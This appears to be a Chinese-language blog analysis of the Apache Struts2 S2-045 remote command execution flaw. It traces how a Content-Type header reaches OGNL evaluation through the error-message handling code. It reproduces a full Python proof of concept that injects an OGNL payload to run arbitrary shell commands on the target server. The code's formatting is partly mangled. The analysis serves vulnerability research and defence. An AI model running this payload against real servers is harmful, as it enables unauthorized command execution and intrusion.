s2-045 java_S2-045漏洞初步分析

0x01 前言

前几天刚分析完s2-032这个漏洞,今天又爆发了一个s2-045的漏洞,又是直接的命令执行,影响了struts2绝大多数的版本.

官方给的漏洞公告在这里   https://cwiki.apache.org/confluence/display/WW/S2-045

受影响版本:Struts 2.3.5 - Struts 2.3.31, Struts 2.5 -Struts 2.5.10

其实昨天就看到朋友圈有人在发这个漏洞,一看是s2-045,心想着struts2的问题可真多,编号都排到45了,就像道哥说的一样如果一个软件出现的漏洞较多,那么说明代码维护者的安全意识与安全经验有所欠缺,同时由于破窗效应,这个软件未来往往出现更多的漏洞,struts2确实让人不太省心,然后当时也给自己一个做j2ee开发的朋友说s2又爆出了一个漏洞,他还不在乎的说谁现在还用struts2啊,我们现在都用SpringMVC了,但是自己测试了几个大型的网站,还是受到了s2-045漏洞的影响,仔细想想的确现在开发j2ee struts2框架的很少了,但是一些网站的老系统之前都是用的s2框架,而这些可能又是和他们业务息息相关的,一时的完全替代成本太高,所以基本是就是“修修补补又三年”的状态。

0x02 poc分析

网上流传的poc传播的很快,代码如下:

#! /usr/bin/env python#encoding:utf-8

importurllib2importsysfrom poster.encode importmultipart_encodefrom poster.streaminghttp importregister_openersdefpoc():

register_openers()

datagen, header= multipart_encode({"image1": open("tmp.txt", "rb")})

header["User-Agent"]="Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"header["Content-Type"]="%{(#nike='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='"+sys.argv[2]+"').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"request= urllib2.Request(str(sys.argv[1]),datagen,headers=header)

response=urllib2.urlopen(request)printresponse.read()

poc()

之前测试s2-032的环境struts2的版本就是2.3.28,也是这次漏洞受影响的版本,所以是直接就可以拿来用。

wireshark抓个包看看。如下图所示:

s2-045 java_S2-045漏洞初步分析_第1张图片

从poc和wireshark中可以看到,恶意的payload是以http header中的Content-type为载体的,最终导致ognl表达式的命令执行的目的。这个poc的ognl表达式和之前的s2-032不同,还是颇有讲究的,对win和linux做了兼容性处理。

0x03 漏洞分析

过程回溯

通过patch对比发现

s2-045 java_S2-045漏洞初步分析_第2张图片

变化就在return的这行,从所在的类名和函数名buildErrorMessage可以看出应该是当对Mulitpart解析出错之后“建立”错误消息,那我们在这里加个断点试试看,加断点之后发现当代码执行完这行到这一步的时候,对应的我们的命令就执行了,如下图

据此可以判定这里就是问题所在的地方,那这个findtext又是什么来路?我们来看看这个函数的定义:

public staticString findText(Class aClass, String aTextName, Locale locale, String defaultMessage, Object[] args) {

ValueStack valueStack=ActionContext.getContext().getValueStack();returnfindText(aClass, aTextName, locale, defaultMessage, args, valueStack);

}/*** Finds a localized text message for the given key, aTextName. Both the key and the message

* itself is evaluated as required. The following algorithm is used to find the requested

* message:

*

*

*

Look for message in aClass' class hierarchy.

*

*

Look for the message in a resource bundle for aClass

*

If not found, look for the message in a resource bundle for any implemented interface

*

If not found, traverse up the Class' hierarchy and repeat from the first sub-step

*

*

If not found and aClass is a {@linkModelDriven} Action, then look for message in

* the model's class hierarchy (repeat sub-steps listed above).

*

If not found, look for message in child property. This is determined by evaluating

* the message key as an OGNL expression. For example, if the key is

* user.address.state, then it will attempt to see if "user" can be resolved into an

* object. If so, repeat the entire process fromthe beginning with the object's class as

* aClass and "address.state" as the message key.

*

If not found, look for the message in aClass' package hierarchy.

*

If still not found, look for the message in the default resource bundles.

*

Return defaultMessage

*

*

* When looking for the message, if the key indexes a collection (e.g. user.phone[0]) and a

* message for that specific key cannot be found, the general form will also be looked up

* (i.e. user.phone[*]).

*

* If a message is found, it will also be interpolated. Anything within ${...}

* will be treated as an OGNL expression and evaluated as such.

*

* If a message is not found a WARN log will be logged.

*

*@paramaClass the class whose name to use as the start point for the search

*@paramaTextName the key to find the text message for

*@paramlocale the locale the message should be for

*@paramdefaultMessage the message to be returned if no text message can be found in any

* resource bundle

*@paramvalueStack the value stack to use to evaluate expressions instead of the

* one in the ActionContext ThreadLocal

*@returnthe localized text, or null if none can be found and no defaultMessage is provided*/

大致的意思是通过给定的key和aTextname找到本地化的text message,关键点在key这个参数会进行ognl表达式的执行。不断跟进代码,我们最终发现了ognl表达式和我们的payload是在LocalizedTextUtil类的getDefaultMessage()这个函数里面最终执行的。

s2-045 java_S2-045漏洞初步分析_第3张图片

可见漏洞产生的关键点是在处理 error message产生了问题,message拼接了用户的“输入”,而这个message参数会传递到transalteVariables()这个函数,这个函数的定义如下:

/*** Converted object from variable translation.

*

*@paramopen

*@paramexpression

*@paramstack

*@paramasType

*@paramevaluator

*@returnConverted object from variable translation.*/

public static Object translateVariables(char[] openChars, String expression, final ValueStack stack, final Class asType, final ParsedValueEvaluator evaluator, intmaxLoopCount) {

ParsedValueEvaluator ognlEval= newParsedValueEvaluator() {publicObject evaluate(String parsedValue) {

Object o=stack.findValue(parsedValue, asType);if (evaluator != null && o != null) {

o=evaluator.evaluate(o.toString());

}returno;

}

};

expression是要被用作ognl表达式执行的,这个时候就boom,命令执行了。

0x04 小结

攻击者构造的header中的Content-Type会经过dispatcher.multipart包中Jakarta相关类的处理,但是解析出错,而且是未定义的错误,那么程序就将这个错误message“输出”出来,但在输出的时候还拼接了用户的输入,而且还被当做ognl表达式来执行(有些不太让人理解?为了更友好的展示错误输出信息?),这样就导致了命令执行。

0x05 防御

升级至最新版本

0x06 Reference

1.http://paper.seebug.org/241/?from=timeline&isappinstalled=0

你可能感兴趣的:(s2-045,java)